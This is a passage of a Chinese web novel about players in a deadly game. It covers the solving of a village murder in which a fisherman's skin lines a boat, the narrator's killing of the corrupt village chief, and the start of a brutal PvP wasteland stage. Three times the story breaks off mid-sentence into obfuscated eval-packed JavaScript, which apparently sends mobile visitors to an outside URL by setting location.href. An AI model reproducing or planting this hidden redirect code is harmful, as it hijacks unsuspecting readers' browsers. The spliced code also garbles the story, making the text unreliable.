“徐二,你是被谁指使的。”官差冷冷问。 小徐低下头,不敢回答。 老渔夫上前一步,握着官差的手臂:“官爷,他们怕被抓,肯定会让徐二撒谎。” 经过连番审讯,当铺掌柜、学徒,以及徐二的供词终于对上了口径。 他们无一例外,指向同一个人——村长,以及与他私下来往密切的那几个人。 天刚亮,官差进村传唤。 村长被带出来时,却仿佛早有准备。 他当着全村人的面“证明清白”,一把鼻涕一把泪,声音嘶哑,跪得极快,哭得也极真。 “官爷明鉴啊!” “这女娃是外乡人,根本不是那死去渔夫的什么后代!” “她不听劝,非要往那有诅咒的海里去,我好心把船借给她,她却反过来诬陷我害人……这还有天理吗!” 他一边哭诉,一边回头指向我,眼里满是被“辜负”的痛心。 村民的情绪瞬间被点燃。 “对啊,她是外乡人!” “村长这么多年,哪害过谁?” “肯定是她惹了人鱼的诅咒,想拉村长垫背!” 人群开始向前逼近。 我、喻清月、林修玊同时站到了一起,可即便如此,也抵不过整整一村人的推搡与逼迫。 “我就是他的后代。” “你若非要说我不是……” 我抬眼,声音压过嘈杂,直直看向村长。 “那你拿出证据来。” 村长的哭声,猛地一滞。 这个年代,没有DNA检测,死者死了多年,也无法滴血验亲,很难判断两个人是否有血缘关系。 老渔夫说过,他那位老友一生未娶,从未留下子嗣。 也就是说,只要尸体不出现,谁都无法证明我不是。 就算真把尸骨抬出来,也未必能证明我与死者毫无关系。 可他若敢拿出尸体,那才是真正的不打自招。 至于我究竟是不是他的后代,重要吗? “搜到了,在村长房租大院树下还埋着个盒子,盒子里还有两片金鳞片,还有几颗形状怪异的珍珠,与物证一样!” 村长与其党羽盗财的罪名已成铁证。 但我心里清楚,若要把“盗财”变成“害命”,若要让村长走投无路…… 我必须要找到那具尸体。 29.第29章 村长被带走后,村里一夜之间安静了。 太安静了。 我和喻清月走在村道上,四周的门窗一扇扇紧闭,却总能感觉到目光贴在背上,阴冷又黏腻。 那些视线里,有躲闪,有怨恨,还有一种压抑不住的恶意。 忽然,有人朝我们丢起了东西。 “快滚——!” 村民的吼声带着失控的愤怒。 我下意识侧身,把喻清月和孩子护在怀里。 “啪”的一声,一样东西滚到脚边。 我低头,看清的瞬间,我愣住了。 “这是……鱼泡?” 晒干的鱼鳔,被处理得很干净,绝不是什么随手可扔的垃圾。 我心里猛地一跳。 直到这一刻,我才真正意识到一件事—— 这个村子,怕海,怕人鱼,怕诅咒。 可他们,从来没有断过鱼。 面馆里有鱼汤。 客栈梁下挂着风干的海鱼。 就连并不富裕的人家,灶台上也吊着几串晒着的鱼干。 那不是池塘鱼,是海鱼。 也就是说,他们一直在下海。 我把喻清月送回客栈,让她关好门窗,别再出来。 随后,我独自去了老渔民家。 他听完我的问题,沉默了很久。 “……能捕鱼。只是,能捕的不多。” 他抬头看了我一眼,那眼神里带着惧意。 “自从出了那件事,那片海域,几乎没有船敢走。” 我立马捕捉到信息。 “几乎?” “对,村长有一艘。”他说,“只有那一艘。” “坐上去,安然无恙。” “风浪也好,夜里也好,从没出过事。” 说到这里,他扯了扯嘴角,露出一个说不清意味的笑。 “就这一艘船,很多人花钱去借。” “捕来的鱼,自然也卖得贵。” 既然只有村长那一艘船从未出过事,那问题,必然出在那艘船上。 我让老渔夫别把今天我来找他的事说出去,又郑重向他保证,我一定会找到他好友的遗骸。 老渔夫暗淡了多年的眼神,像是被人点亮了一瞬。 “……谢谢你,姑娘。” 他说这话时,声音发颤。 我向他借了斗篷,把裸露的皮肤涂得黝黑,换上水鞋,低着头走路,看起来和村里的渔民没什么两样。 夜色正好,我刻意避开亮处,贴着屋影走,绕开那些仍在街口聚集的村民,顺着老渔夫指的方向,一路向海边去。 我要找的那艘船—— 就在那儿。 也是这个村子里唯一一个从来没被诅咒碰过的东西。 我原本还在想,这一关未免太顺了。 没有上一关铺天盖地的恐惧,甚至连真正正面交锋的危险都不多—— 怎么会是四星副本? 直到晚上八点半。 “叮咚!距离副本结束还剩24小时!” ……原来如此。 这一关难的地方在时间限制。 它不会在副本开始的时候告知,不会让玩家感到紧张,不会催促。 它会让玩家以为还有很多时间,让我们慢慢查、慢慢问、慢慢怀疑。 直到快结束时,才轻飘飘地补上一句“还剩24小时。” 如果到那一刻,我们还站在原地什么都没找到的话,或许下一个提示就是副本通关失败通知了。 潮水退得很低,我躲在船坞阴影里,看见那艘船。 船上倒是没什么不寻常的,很结实,船底吃水很稳,哪怕搁浅在泥滩上,也没有一点渗水的痕迹。 我蹲下身,指尖贴上船底。 那层防水衬里,颜色发暗,像被反复油浸过,表面光滑却有细微的起伏。 我用指甲刮了一下,没有碎裂,只起了一点点卷边。 看起来并不是鱼皮做的。 鱼皮被泡久了,会发脆、起白碱,而这一层……实在是太柔软了。 我取出随身的小刀,我在最不起眼的地方,轻轻割下一小角。 刀锋下去的瞬间,没有任何撕裂感,而是被切开的延展感。 我把那一小片翻过来,月光落下,背面不是光滑的油膜,是密密的、规则的点。 “这……一定不是鱼皮做的。” 鱼皮的纹路是顺水走的,一片压一片。 可这上面,是……毛囊的排列。 一瞬间,所有线索轰然闭合。 为什么这艘船不怕夜航。 为什么人鱼的歌声对它无效。 为什么诅咒只落在某些人身上。 他们杀了一个人,剥了他的皮,把他缝在船底,用他的身体去换取活路、权力和财富。 几十年。 我慢慢直起身,手心冰凉。 我把那块东西包好,连夜去找老渔民。 他一开始不肯看。 直到我把那块皮放在油灯下。 他只看了一眼,脸色瞬间惨白。 “……人皮。” “你确定?”我问。 他喉咙动了动,声音发哑: “鱼皮没孔,且泡水会发硬。” 他把那块皮丢进水盆里。 一炷香后,那层皮反而变软了。 老渔民的手开始发抖。 “确实是……人皮。” 他抬头看我,眼里全是愤恨: “这是下海的人,一定是我老友。” “我要他死!!” 天亮后,官差带人封了栈桥,那艘船被拖上岸,翻了个底朝天,船底防水层被剥开,是一整张被裁得极其熟练的皮。 官差沉声问:“这是拼的?” 老渔民摇头。 “不是。” “这是整张剥下来的。” “鱼皮做不到这么大,也不会这么服帖。” 官差命人把皮浸水、再晾干…结果一目了然。 有人低声道:“……这确实不像是兽皮。” 官差收刀,看着船底,久久不语。 老渔民跪坐在地上,哭得凄惨。 我和队友们站在一旁,看着那张皮被抬走。 这个村子靠的是一个人的死亡,靠他被剥夺的一切,靠他被踩在船底几十年的尊严维持下来的。 而所谓“镇海船”,不过是用罪孽压住良心。 刑房的门一关,天光就被隔在了外头。 最先撑不住的,是村长的一个党羽的后代。 他原本还咬死了不认,可板子落下第三轮,他终于哭了出来。 “我说……我都说!” 官差停了手。 那人瘫在地上,声音发抖,像是在回忆一场早就压在心底的噩梦。 “那年……是冬天前。” “海里没什么鱼,村里人都快熬不下去了。” 他说,那天那个渔民照常出海,却迟迟没回来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047953|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等他回来时,人已经不一样了。 穿得厚了,有肉、有菜、有炭火,鱼一网比一网多。 “起初大家只当他走了好运。” “直到村长发现,他晚上总往海边去。” ——这句话一出口,我心里“咔哒”一声。 后面的事,不用他说,我已经能和老渔民断断续续的回忆对上了。 那年,渔民在海上遇见了人鱼。 他们相爱了。 不是传说里的勾魂摄魄,只是两个在贫瘠世界里互相取暖的存在。 人鱼心软,见他冬天衣薄,便把自己的眼泪化成珍珠,又折下几片金鳞给他,让他换粮、换衣、换炭火。 渔民把祖上传下来的银锁送了人鱼,贴在她掌心,说这是他的命,许的是一生一世。 可命这种东西,一旦被看见了利用价值,就会有贪婪的人盯上。 村长把渔民关了起来。 不是一开始就用刑,而是笑着、哄着,说是为了整个村的村民过冬。 “只要一点点。” “就一点。” 渔民信了。 他把原本要留着给老渔民治病的金鳞、珍珠,还有自己留下的,全都交了出去。 他以为,救的是人。 村长放他回了家,可就在那天夜里,渔民听见了有人在暗处商量—— “把人鱼引出来。” “鳞片全拔了,值大钱。” “人鱼死了,也没人知道。” 第二天,他就被抓走了。 这一次,没有哄,村长要他带路,要他亲手把人鱼交出来。 渔民不肯,死也不肯。 板子、绳索、威胁、好话,一样都没用。 于是,村长杀了他。 杀完之后,还让人剥了他的皮。那张皮,被处理、浸油、晾干,缝在了船底,就成了“镇海船”。 成了几十年来,唯一一艘能安然下海的船。 党羽的后代说到这里,已经不敢抬头。 “后来……人鱼等不到人。” “她以为他忘了她。” 人鱼开始唱歌。 原本不是杀人的歌。 是想让他梦见自己,知道她在等。 可渔民再也没来。 歌声就变了。 她开始强行把人引到海边。 可来的,永远不是他。 她愤怒了。 掀船、拖人、溺死。 直到有一天,她看见了那艘船。 她能感觉到船底有他的气息。 于是,那艘船被她守护了几十年。 村长靠它借船、捕鱼、高价卖鱼。 靠金鳞片和眼泪珍珠换来的银子,富得盆满钵满。 而整个村子,踩着一个人的尸骨,活了下来。 官差合上了案卷。 真相,终于大白。 官差将金鳞片、眼泪珍珠,还有那张被妥善包裹的人皮,交到了我手里。 “既然你是后人,那这些,本该归你。” 我接过来,却觉得沉得抬不起手。 我不是他的后代。 可这世上,已经没人比我更适合,把它们送回去。 我独自去了海边,把那张皮、鳞片、珍珠,还有那枚旧银锁,一样一样,送进海里。 浪声翻涌,海水卷走了它们,像是收回失物。 我站了很久,不知道人鱼有没有收到。 只知道,后来海面再没有传来歌声。 30.第30章 “恭喜玩家班晨晨、林修玊、喻清月、赵美铭、周琦,通关成功!” 系统音依旧欢快得让人想揍它。 “怎么样?这个四星副本是不是相对来说很简单呢~所以才说没什么可提醒你们的嘛!” “这系统太 TM 欠了。”林修玊抬手按太阳穴,“我真受不了了。” 【积分结算中……】 二十点积分稳稳落进我的总分栏里。 MVP实至名归! “请选择其中一项,作为下一关可获得的能力。” 光幕亮起。 —— 【能力一:获得一把满子弹狙击步枪。】 【能力二:饱腹感×2。】 【能力三:获得一辆满油汽车。】 —— 我盯着那几行字,眉心微微一跳。 狙击枪、饱腹、汽油车。 下一关是废土吗? “选一。”我没有犹豫。 系统音立刻接上。 “已确认。” “选择三样可带走的物品。” 如果真是废土主题,能换资源的,才是硬通货。 我脑海里本能地浮现出那抹金色。 “……三片金鳞片。” 话出口时,我自己都忍不住在心里叹了口气。 对不起啦,人鱼,就当是我帮你找回爱人的报酬吧。 系统很快完成确认。 “请各位玩家查看额头积分。” “因系统卡顿,将于半小时后统一传送回休息室。” “祝大家休息愉快~” “???” 众人懵逼。 “系统卡顿?”赵美铭皱眉,“以前有过这种情况吗?” 没有。 从来没有。 我下意识看了一眼倒计时。 三十分钟。 “我想……去个地方。”我忽然开口。 林修玊侧头看我:“现在副本都结束了,你还想去哪?” “官府。” “行。”他说,“我跟你一起。反正副本结束后,按理说也不会再有什么危险。” 他说得很轻松,却还是下意识把武器带在了身边。 我们往官府的方向走去。 夜色压下来,街道空得异常安静。 官府后堂的灯很暗,只剩一层昏黄的光,像蒙着一层脏膜。 我和林修玊站在廊下,没有进去。 隔着一道屏风,里面的说话声断断续续传出来。 “……这事闹得太大了。” “人已经抓了,证据也有,还想怎样?” 有人冷笑了一声。 “证据?几十年前的事了,尸骨都拿去喂猪了,你跟我说证据?” “可那张皮……” “皮?”那人语气一顿,使了个眼神,随即压低声音,“你见过吗?” 短暂的沉默。 “……没。” 说谎,官差明明见过。 “那不就结了。” 灯芯被拨了一下,火光猛地一跳。 另一个声音慢悠悠地响起:“再说了,他这些年,孝敬得也不少。” “上头有人点名问过了。” “意思很清楚——” “别深究。” 我攥紧了手指。 屏风后,有人轻轻咳了一声。 “那……人怎么处理?” “关几天吧。” “做做样子。” “等风头过了,找个由头放了。” “他懂规矩,不会乱说。” 话音落下,脚步声渐近。 我和林修玊迅速后退,贴进阴影里。 官差从廊下经过,脸上没什么表情,像什么都没发生过。 几人散去,脚步声渐渐远了。 官府重新安静下来。 林修玊看了我一眼,低声道:“你还要进去?” 等最后一盏廊灯被人掐灭,我才转身,绕到后院。 囚牢外只留了两个看守,一个靠墙站着,一个坐在石阶上打盹,刀放在脚边,酒气没散干净。 他们并不觉得这里需要防备。 林修玊低声问:“左边还是右边?” “你左,我右。”我说。 话音刚落,我们同时走了出去。 靠墙的那人先察觉到动静,刚抬头,嘴还没张开,后颈就挨了一记闷响。 他甚至没来得及挣扎,身子一软,被林修玊接住,慢慢放倒。 另一人酒意未醒,刚迷迷糊糊皱眉转头,我已经贴近。 我手肘抵住他的喉咙,他眼睛猛地睁大,随即失焦。 刀“当啷”一声落地,两个人很快不动了。 林修玊低头确认了一眼:“应该不会太快醒来。” 我点头。 我们把他们拖进阴影里,解下钥匙。 钥匙串碰在一起,发出极轻的一声响,在夜里却显得格外清楚。 我们同时停了一瞬。 没人来。 我这才伸手,推开那扇囚牢的门。 我迈进去的时候,心里很清楚,从这一刻起,我们做的事,已经不在“副本通关”的范围内了。 这是我自己要走的一步。 灯光太暗,我用钥匙打开了关押村长的牢门,我看不清村长的表情,只能看见那双眼睛。 他像是在审视我。 “怎么?”他笑了一下,“想替死人讨个说法?” “你们不是已经拿到想要的了吗?” “真相、眼泪、皮。” “而且你也都还回去了。” “还不够?” “对我来说,当然是够的。”因为我已经通关了。 可我的刀,依旧稳稳地抵在他的喉间,没有收回。 他喉结滚动了一下,强撑着冷笑:“你不知道吧,我在官府有人,只要我大喊一声——” 话没说完,我手腕一送,刀锋没入,干脆利落。 他的声音戛然而止。 这不是谈条件的地方。 他倒下去的时候,眼睛还瞪得老大。 这一关的副本,讲的从来不只是一个人的贪。 村长可以贪,官差为什么不能? 官差背后,自然还有更大的贪。 层层相叠,像一张网,谁都不是干净的。 这个游戏肯定也是一样。 时间到了,光线一闪,所有声音被切断。下一秒,我们已经站在休息室里。 周琦和我们告别时,站得有点局促。 “谢谢你们……没有计较我说谎的事。”她低声说。 我看了一眼清月怀里的孩子。 孩子睡得很沉,小拳头攥着衣角,呼吸均匀。 “没事。”我说,“她平安就够了。” 这是真话。 我们没再多说什么,各自转身。 我看向喻清月和林修玊:“要不……去我那儿坐坐?” “行啊。”清月点头,随即又低头看了看怀里的孩子,眉头慢慢皱起来,“不过……” “我以后,不会真的要一直带着孩子闯关吧?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061546|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是遇到那种不能出声、不能哭的副本……” 她说得对,任何不可控的存在,都会变成致命点。 我调出积分兑换界面,往下翻。 新的条目,比第一轮多了不少。 忽然,一行字跳进视线里。 【保镖兼保姆(长期雇佣)】 我停住了。 “……要不,兑换一个?”我抬头说。 第一轮游戏里可没这玩意儿。 我们刚到公寓,那保姆就在门口等着了。 它站在角落里,一动不动,像个木头人。 长得像人,但面部表情僵硬,眼神空洞,没有一点温度。 每一个动作都带着机械的生硬感,好像在模仿人类,却又差得远。 “这不是真人吧。”我伸手试探性地触碰它的手臂,指尖刚碰到的那一瞬,竟然有一丝微弱的共鸣感沿着我的左臂传开。 就像两根神经被无形的线连在了一起,轻轻颤动着,但又说不清是痛还是奇异的触感。 喻清月让它帮忙切水果,它的动作顿时变得更加笨拙,刀子握得歪歪扭扭,还切到了手指。 我本以为会喷血,结果没有,手指被划过的地方连一点血丝都没有。 我的心“咯噔”了一下,这和我左臂的材料几乎一样。 它又笨拙地拿起扫帚打扫房间,碰倒了几个花盆。 可奇怪的是,每一次它移动或用力,我左臂的肌肉都会轻轻震动,像在回应它的动作,甚至有时候,我能提前感知它下一步的动作。 喻清月在一旁瞧着它打翻一盘水果,忍不住皱了皱眉。 “就这……我真不放心把孩子交给它。” “不过事到如今咱们也只能相信它了。”林修玊笑了笑。 一阵急促的敲门声响起。 “谁啊?”林修玊扯着嗓子。 “……嗯?你是谁?”门外传来熟悉又带着迟疑的声音。 这声音……没错,是丁黎梓。 为了确认安全,我透过猫眼看了看。 嗯,是他。 我赶紧开门。 丁黎梓站在门口,提着两个大兜子,先扫了我一眼,又打量着林修玊,眉头微挑。 “这位是?”他问,语气里带着探询。 “我高中同学林修玊,这是我同事丁黎梓。”我指着他俩做了个介绍,两人互相点了点头。 “诶!你手臂!!”丁黎梓注意到了。 “嗯,接上了,我说了我有办法的。” 丁黎梓一边跨进门,一边瞄了瞄屋里的人。 我顺势介绍:“喻清月,这是我高中好友丁黎梓,这是她的孩子黄琉璃。” 丁黎梓低头看了看小宝宝,眼里闪过一丝惊讶,“啊……这么小的孩子……”他连招呼都忘了打。 “没事的,我相信我能和孩子平安离开游戏。”喻清月笑了笑,不想让别人觉得她带着孩子就脆弱可怜。 “嗯嗯,一定能的。”丁黎梓也跟着点头,略显客套,“我带了点鸭货啥的,咱一块儿吃点呗。” 他刚伸手去打开大兜子,保姆仿佛有预感一样,噼啪地走了过来,手上还托着一只托盘:“我来,准备,饭菜。” “这是个什么玩意儿?”这动静给丁黎梓吓一跳。 “应该是仿真人什么的,积分兑换的。清月闯副本的时候,它可以在休息室看孩子。”我说。 保姆扭了扭身体,动作生硬得有点滑稽,倒是很认真地把托盘放到桌上,然后转身又自动收拾起餐具。 “看孩子……?这个智障吗?”丁黎梓指了指仿真人保姆。 31.第31章 丁黎梓显然不信邪。 他把鸭脖往桌上一放,凑到保姆面前,上下打量了两眼,伸出手在她眼前晃了晃。 “喂,你听得懂人话吗?” 保姆停下动作,缓缓转过头,眼睛精准地落在他脸上,停顿了两秒。 “听得懂。”她语调平直,“请不要遮挡我的视野。” 丁黎梓:“……” 他下意识后退了一步,压低声音凑过来:“她刚刚是不是嫌我碍事?” “你知道就好。” 丁黎梓一噎,又不死心,指着桌上的鸭货:“那你把这个拆开。” 保姆看了鸭货一眼,又看了他一眼,像是在进行某种极其缓慢的运算。 “需要工具。” “我可以取剪刀。” 她转身进厨房,动作依旧利落,却处处透着不协调,像是一个被强行塞进“生活模块”的程序。 剪刀递过来的时候,丁黎梓接过,又看了她一眼。 “你……手不疼吗?”他随口问。 保姆低头看了看自己的手指,指尖有一道浅浅的划痕,是刚才切水果时留下的。 “本体材料不具备痛觉反馈。” 不对。 制作她的材料,和我不一样。 我能感觉到痛。 忽然想起白羽说过的一句话。 她说,她伤到了院长。 可院长没有流血。 当时我只当是副本设定,是系统为了节省资源做的“简化表现”,可现在再想…… 如果是程序,为什么要区分? 我杀村长的时候,他是会流血的。 血喷出来,溅到我手上,是温热的,有重量的。 说明并不是所有NPC,都是用同一种“东西”做出来的。 ……难道有些NPC根本不是程序? 还有一个问题就是……如果院长和这个仿真保姆是用一个材质制作的,院长看起来就没有这样机械化的动作。 “晨晨?想什么呢?” 清月的手在我眼前晃了晃。 我猛地回神。 “没什么。”我笑了下,把那些乱七八糟的念头压回去,“对了,我还一直没问,你和林修玊是怎么被卷进来的?当时你们在哪儿啊?” 清月想了想,神情有点恍惚。 “我老公出差,那天我一个人去医院做产检。就在候诊区……遇到了他。” 我下意识看向林修玊。 “等等,”我挑眉,“你也产检?” “你放什么屁呢!”林修玊当场炸了,“我只是刚好在医院!” “刚好?”我拖长语调,“医院这么大,你刚好出现在妇产科?” 林修玊噎了一下,明显有点不自在。 “我、我陪朋友行不行?朋友的女朋友怀孕了。” “哦~”我意味深长地点头,“朋友。” 清月忍不住笑了一声,低头看了看怀里的孩子。 “然后呢?”我继续问。 “然后就是广播。”清月说,“整个楼突然安静下来,屏幕亮了,声音响起的时候……我还以为是医院搞什么演习。” “我还以为自己熬夜熬出幻听了。”林修玊接话,语气里带着点后怕,“结果下一秒,我们就都出现在医院外面,而且医院不见了。” 清月抱紧了孩子,轻声说:“我那时候,连反应都来不及。” “是哪家医院啊?”我随口问。 “市第二人民医院。”林修玊答。 “诶?”丁黎梓一下来了精神,“那不就在咱们公司后头吗!” ……难道上关遇到的周琦也是那家医院的? 我还没来得及接话,赵美铭已经迫不及待地把话题拐走了。 “诶诶,先别聊这个了!”她搓着手,“晨晨,你不是选了把狙吗?快拿出来看看!” 我走到柜子前,把那把狙击步枪取了出来。 枪身冷硬,线条利落。 “嚯——”丁黎梓眼睛一下就亮了,凑近看了两眼,“这得劲啊,真家伙嘿。” “M24。”喻清月接过枪,手法很自然,完全没生疏。 她低头掂了掂重量,眉眼微动。 “给你用呗。”我说。 她抬头看了我一眼:“好多年没碰过枪了,不知道还有没有当年的准头。” 说话间,她已经把枪托抵在肩窝,动作干净利落。 她闭上一只眼,透过瞄准镜望向窗户外面。 那一瞬间,她整个人的气质都变了。 我记忆里的喻清月,就是这样的人。 “我怀疑下一关是废土类副本。”我说。 “为什么?”林修玊问。 “能力。狙击枪、饱腹感、满油汽车……全都是为了活下去准备的。” 没人反驳。 这种能力配置,不是潜行,不是解谜,是资源稀缺、环境恶劣、随时可能被清空补给的世界。 清月之前玩过狙,我是知道的。 可万一下一关我们不在同一个副本,这把枪,最后还是我来用。 我不能指望运气。 于是就在公寓里,清月简单给我过了一遍狙击枪的结构和操作。 拆、装、上膛、瞄准。 流程不复杂,但真正的实战,从来不在说明里。 只是这东西背在身上太显眼了。 不像冷兵器,躲远一点就好了,狙击枪一出门,就等于告诉所有人——我有最牛逼的致命武器。 我们对视了一眼,很快达成共识。 等天再黑一点,等街上没什么人再出去。 夜深之后,我们才把枪带了出去。 M24的子弹不是练手用的东西,每一发都意味着一次活命的机会,在真正的副本里,没有“再来一次”。 所以今晚就只是熟悉。 熟悉重量,熟悉后坐力的预期,熟悉不同姿势下,准星微妙的偏移。 我们找了一处偏僻的空地,没有灯,只有远处路灯漏过来的一点橘黄色光。 她动作娴熟,拉栓、检查膛室,确认空仓,才把枪递给我。 我先试了站姿。 狙太长,重心靠前,站姿只能短时间使用,准星轻微晃动,呼吸一乱就会飘。 “站着打,只适合临时应急。”她说。 接着是跪姿。 一条腿支地,枪托稳在肩窝,准星明显稳定下来,我开始练呼吸节奏,吸气、停顿、缓慢吐气。 准星在某一瞬间,几乎不动。 最后是卧姿。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068311|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趴下,肘部撑地,枪身与地面形成稳定三角,整个人贴进地面。 这一次,准星十分稳。 即使没有子弹,我也能想象,如果目标在那里,那一枪会是什么结果。 “卧姿最稳,但限制最大。”她抬头看我,“废土里,未必有时间让你趴下来。” 我点头。 所以我们换地形。 水泥台阶、碎石地、斜坡、低矮掩体后。 她让我试靠墙支撑、半蹲贴掩体,甚至模拟在狭窄空间里强行展开枪身的感觉。 每换一个位置,我都会微调姿势,微调肩窝角度,微调脸颊贴腮的位置。 枪是熟悉了,现在就只剩下一个让人放心不下的事情—— 这个仿真人保姆,真的能照顾好孩子吗? 因为副本结束时间各异,我们回来之前,其他副本的玩家可能已经完成了任务。 为了测试,我们决定“制造一次小意外”,让丁黎梓扮演“坏人”。 “干嘛非得是我……”丁黎梓拿着刀,做出要伤害孩子的样子,一脸无辜。 仿真人保姆的眼睛瞬间亮了起来,电子声清脆地响起:“检测到危险,启动狂暴模式。” 下一秒,它像离弦的箭一般冲了出去,一手打掉丁黎梓的刀,身形敏捷和平时完全不一样,只听“啪”的一声,刀被甩到一边。接着,一个精准的回旋踢,把丁黎梓踢得连滚带爬到了门口。 仿真人保姆稳稳落地,抱起黄琉璃,鼻孔里直直冒着蒸汽:“目前暂无危险,关闭狂暴模式。” 孩子安然无恙,仿真人的动作机械却干净利落。 “梨子,你没事吧……”赵美铭赶紧上前扶起摔在地上的丁黎梓。 “别憋笑了,赵姐……”丁黎梓揉着被踢肿的脸。 嗯,过关。 “叮咚!各位玩家,休息得还好吗?” “下一关副本——《星海方舟》即将开启!” “这一关是PVP模式哦~不过,不同的是……”系统特地拉长了语气,“这次,将会有超~~~~~级多玩家同时参与!” 屏幕上闪过一片浩瀚星海的画面,废墟般的方舟漂浮在未知星域之中,钢铁与残骸交织,仿佛末日后的孤舟漂浮在无垠宇宙。 “星海方舟可载人数:500人,参与玩家:1000人。咳咳~不过能获得20积分的全场最佳表现的玩家,还是只有一个!” 我们面面相觑……难道,这一关要淘汰一半玩家!? “让我看看死亡名单里的人啊……”系统的声音带着翻页的咔嚓声。 “累计死亡:300人。” 三百! 这一关的淘汰人数,竟然比前三关加起来还要多! “你们不在死亡名单里可真是幸运~如果这关通关,后续会为各位直接分配五星难度的副本,准备好接受更多挑战吧!” 我紧握拳头,心里暗暗下定决心,这次,就算不拿MVP也罢,无论如何,也绝不能成为那500个淘汰者之一。 “你们都是《星海方舟》吗?”我跟大家确认。 “嗯……” 众人点头,赵美铭的表情很难看。 “没事的赵姐,相当于二分之一的概率,其实不算难了,而且大家都在呢。”丁黎梓安慰道。 32.第32章 再次睁眼,我抬起头。 天空中永远悬浮着巨大的倒计时投影,猩红的数字一秒一秒跳动,旁边是不断刷新的存活人数与淘汰人数。 在这里,数字就是唯一的“神谕”,冷漠又精准。 明明是白昼,天幕却泛着诡异的光,像被撕裂的极光层层铺开,色彩冰冷失真,让人分不清这是自然现象,还是系统刻意营造的幻觉。 远处,一座悬浮在废墟之上的“银白色天国”静静漂浮着,这大概就是系统说的星海方舟吧。 确实和名字一样,它线条流畅,泛着冷光,灯火通明,充满未来科技的秩序,与下方残垣断壁、尘土飞扬的废土格格不入。 天堂在上,地狱在下。 那座方舟偶尔会降低高度掠过,庞大的阴影倾泻而下,足以吞没整片区域。 好像在告诉所有人,生存的希望近在咫尺,却又高不可攀。 “叮咚~~欢迎各位玩家来到副本《星海方舟》。” “本次登船机制十分简单,请认真听好。” “第一步:登船码。请各位玩家查看手臂上的芯片。芯片中记录的登船码,是基础资格证明。登船码需通过初期团队任务获得,绑定个人,仅代表该玩家有资格参与最终竞争。” “请注意,有资格,并不代表能登船。” “第二步:能源晶核。方舟启动所需的核心能源,散落在各类高危区域。晶核可由个人获取,是本副本的硬通货——可交易、可囤积,当然,击杀玩家也可获得。” “没有能源晶核,即便持有登船码,也无法启动个人舱位。” “第三步:密钥扫描。这是登船前的最后一道关卡。方舟将进行生物扫描,验证每位玩家的基因密钥。” 短暂的停顿后,系统音重新响起: “以上为本次副本全部规则。” “请各位玩家在倒计时结束之前,完成全部步骤,成功登船。” “祝各位……游戏愉快。” 系统的规则里,有一个刻意被略过的细节。 它只说需要能源晶核,却没有给出一个明确的数量。 这意味着什么,在场的人几乎同时想明白了。 人群短暂地安静了一瞬。 随即,我清楚地看到,有人的目光开始游移、像是在衡量猎物;也有人下意识地摸向腰间、背后的枪械。 空气里的危险,几乎可以闻到。 “先走。”我低声道。 我立刻带着队友后撤,避开人群密集的区域,优先搜索周边可携带的物资—— 食物、药品、止血包。 安康百货的牌子倒在地上,如果不是我仔细看,根本不知道这是个超市。 墙上贴着褪色的购物须知,“请保持安静,勿惊扰其他顾客”、“请勿将未付款商品带出感应区”,但收银台已无人。 “先拿耐放的,饼干、罐头,再装点水,还有……” 我话音还没落,就感觉到背后一凉。 有人注意到了我们拿物资的动作。 卧槽,早知道把超市窗帘拉上了,摸黑也好过被人发现啊。 “快!!拿吃的!!”那人嘶哑的吼叫,像是点燃了引线。 下一秒,秩序彻底碎裂。 人群猛地涌动起来,呼救声、踩踏声、哭喊声纠缠成一片。 有人被撞倒在地,挣扎着伸出手,却连一声完整的求救都没能发出来,下一秒就被无数脚印淹没;有人死死抱着怀里的物资,被人揪住头发拖走,罐头滚了一地。 原本只是残破的废墟,顷刻间变成了失控的兽栏。 我被人流推得一个踉跄,后背重重撞上货架,耳边只剩下急促的喘息和歇斯底里的尖叫。 不管现在装了多少东西,我都只剩下一个念头,赶紧离开这里。 “砰!” 突兀的枪声像一记闷雷炸开。 我们立刻伏低身子,躲进货架后方。 不远处,几个男人举着枪,把人群逼成一圈,枪口挨个扫过。 “把水全都交出来。”为首的人大喊道。 一个女人死死抱着怀里的几瓶水,脸色惨白,却一步不退。 “我儿子脱水了……”她声音发抖,“水不能给你们,其他值钱的你们都拿走,求你们了。” 男人笑了一声,像是听见了什么笑话。 “哦?儿子?” 他一把将女人身旁的孩子拽了出来,小孩还没反应过来,脚下一绊,差点摔倒。 “那他死了不就行了。” 女人瞳孔骤然放大,嘴还没张开—— “砰!” 枪声再次响起。 男孩应声倒地,身体轻轻抽了一下,随即一动不动。 空气瞬间凝固,大家都吓得不敢反抗。 喻清月看到这一幕,呼吸急促,已经把枪背到身前,肩膀绷紧,下一秒就要冲出去。 我一把按住她摇了摇头。 